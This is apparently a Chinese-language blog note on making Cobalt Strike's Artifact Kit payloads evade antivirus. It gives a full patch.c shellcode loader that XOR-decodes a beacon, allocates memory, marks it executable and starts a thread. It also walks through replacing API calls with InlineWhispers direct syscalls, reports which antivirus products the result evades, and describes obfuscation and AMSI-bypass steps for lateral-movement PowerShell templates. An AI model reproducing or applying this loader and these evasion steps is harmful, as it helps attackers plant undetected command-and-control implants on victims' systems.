介绍如何在Cobalt Strike's Artifact Kit中使用直接系统调用来绕过AV等。介绍Artifact Kit的地址为:
https://www.cobaltstrike.com/help-artifact-kit
使用之前我们先build一下:
查看编译好的字符串:
发现以下敏感字符串:
VirtualAlloc
VirtualProtect
VirtualQuery
然后使用下面的命令可以查看详细信息
peclone dump script/Toolkits/artifact/dist-template/artifact64.exe
以注入的为例:
配合patch.h
然后把这几个函数的内核函数添加到InlineWhispers的functions.txt中
然后把Syscalls.h、syscalls-asm.h复制到cs的src-common/中
更改patch.c为下面这样:
/*
* Artifact Kit - A means to disguise and inject our payloads... *pHEAR*
* (c) 2014 Strategic Cyber LLC
*
* See http://www.advancedpentest.com/license
*/
#include <windows.h>
#include <stdio.h>
#include "patch.h"
char data[DATA_SIZE] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
void set_key_pointers(void * buffer) {
phear * payload = (phear *)data;
/* this payload does not adhere to our protocol to pass GetModuleHandleA / GetProcAddress to
the payload directly. */
if (payload->gmh_offset <= 0 || payload->gpa_offset <= 0)
return;
void * gpa_addr = (void *)GetProcAddress;
void * gmh_addr = (void *)GetModuleHandleA;
memcpy(buffer + payload->gmh_offset, &gmh_addr, sizeof(void *));
memcpy(buffer + payload->gpa_offset, &gpa_addr, sizeof(void *));
}
#ifdef _MIGRATE_
#include "start_thread.c"
#include "injector.c"
void spawn(void * buffer, int length, char * key) {
int x;
for (x = 0; x < length; x++) {
*((char *)buffer + x) = *((char *)buffer + x) ^ key[x % 4];
}
/* propagate our key function pointers to our payload */
set_key_pointers(buffer);
inject(buffer, length, "rundll32.exe");
}
#elif _M_X64
#include "syscalls-asm.h"
void run(void * buffer) {
void (*function)();
function = (void (*)())buffer;
function();
}
void spawn(void * buffer, int length, char * key) {
DWORD old;
/* allocate the memory for our decoded payload */
void * ptr = VirtualAlloc(0, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
int x;
for (x = 0; x < length; x++) {
char temp = *((char *)buffer + x) ^ key[x % 4];
*((char *)ptr + x) = temp;
}
/* propagate our key function pointers to our payload */
set_key_pointers(ptr);
/* change permissions to allow payload to run */
VirtualProtect(ptr, length, PAGE_EXECUTE_READ, &old);
/* spawn a thread with our data */
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run, ptr, 0, NULL);
}
#else
void run(void * buffer) {
void (*function)();
function = (void (*)())buffer;
function();
}
void spawn(void * buffer, int length, char * key) {
DWORD old;
/* allocate the memory for our decoded payload */
void * ptr = VirtualAlloc(0, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
int x;
for (x = 0; x < length; x++) {
char temp = *((char *)buffer + x) ^ key[x % 4];
*((char *)ptr + x) = temp;
}
/* propagate our key function pointers to our payload */
set_key_pointers(ptr);
/* change permissions to allow payload to run */
VirtualProtect(ptr, length, PAGE_EXECUTE_READ, &old);
/* spawn a thread with our data */
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run, ptr, 0, NULL);
}
#endif
然后修改build.sh,使其仅仅build,template
build
报错是因为大小写问题,把windows改成小写即可,然后加入
export options="-Os -masm=intel"
编译成功
此时说明我们的调用可以成功使用,然后加入函数结构体
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
然后继续添加代码:
此时文件已经发生变化
成功上线:
杀软测试,国内外大部分都可。微软、卡巴不行
写在后面:该文为笔记文,可能目前的免杀效果已经没有那么好了,可以使用下面的项目进行使用或者二次修改来增加免杀性。
https://github.com/ORCA666/artifact64
https://github.com/ORCA666/artifact32
横向移动
在使用其横向移动功能时可能会遇到被杀软拦截的情况
在Resource Kit中的template.x86.ps1,template.x64.ps1和compress.ps1有:
[Byte[]]$var_code = [System.Convert]::FromBase64String('%%DATA%%'
其DATA为beacon的占位符,检测点可以使用AmsiTrigger.exe来进行检测。
拿初始载荷为例,之前的检测点为:
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
这个绕过方法直接拿Invoke-Obfuscation混淆掉就行。而对于横向移动的
绕过方法为使用Gzip或者反射或者之前的AMSI绕过加入进去即可绕过(只针对具有AMSI检测的杀软),可以参考:
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs
即可绕过。